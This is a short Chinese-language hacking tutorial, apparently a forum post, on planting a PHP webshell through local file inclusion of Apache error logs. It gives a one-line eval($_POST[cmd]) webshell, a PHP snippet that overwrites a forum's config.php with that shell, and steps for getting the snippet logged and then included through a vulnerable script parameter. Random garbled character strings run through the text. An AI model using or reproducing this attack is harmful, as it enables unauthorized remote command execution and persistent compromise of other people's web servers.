php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。

+ Y1 ^  G- u4 F8 K- P5 A3 N. n比如还是这句一句话木马
+ r$ L& H* Z; k5 ^( A/ \<?eval($_POST[cmd]);?>   
8 L  w" y" ]! H9 v
到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
' t6 K0 k7 [. A
: J$ W6 v  A* ^& D" b: }9 F<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
fclose($fp);?>   //在config.php里写入一句木马语句

我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
% Q" Y+ r/ E! L! _转换为

: [5 d! }6 O' e我们再来包含日志，提交
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log

这样webshell就写入成功了，config.php里就写入一句木马语句
OK.
http://www.xxx.com/forum/config.php这个就成了我们的webshell

PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
